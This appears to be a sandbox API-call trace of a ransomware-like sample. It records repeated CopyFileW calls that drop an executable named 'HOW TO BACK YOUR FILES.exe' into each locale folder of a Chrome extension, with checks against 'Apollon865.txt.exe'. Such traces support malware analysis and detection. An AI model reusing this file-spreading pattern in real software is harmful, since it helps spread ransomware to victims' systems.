	[0048.656] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.661] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35145490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35145490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.661] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.661] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.661] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.661] lstrlenW (lpString="messages.json") returned 13
	[0048.661] lstrlenW (lpString="Apollon865") returned 10
	[0048.661] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.661] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu"
	[0048.661] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu"
	[0048.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.665] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35145490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35145490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.665] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.665] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.665] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.665] lstrlenW (lpString="messages.json") returned 13
	[0048.666] lstrlenW (lpString="Apollon865") returned 10
	[0048.666] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.666] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et"
	[0048.666] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et"
	[0048.666] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.666] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.670] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35145490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35145490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.670] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.670] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.670] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419"
	[0048.670] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419"
	[0048.671] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.671] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.674] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.674] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35145490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35145490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.675] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.675] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.675] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es"
	[0048.675] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es"
	[0048.675] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.675] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.679] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.679] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3516b5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3516b5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.679] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.680] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.680] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US"
	[0048.680] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US"
	[0048.680] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.680] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.684] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3516b5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3516b5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.684] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.684] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.684] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB"
	[0048.684] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB"
	[0048.684] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.684] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.689] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3516b5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3516b5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.689] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.689] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.689] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el"
	[0048.689] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el"
	[0048.689] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.689] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.696] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.696] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35191750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35191750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.696] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.696] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.696] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de"
	[0048.696] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de"
	[0048.697] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.697] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.701] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
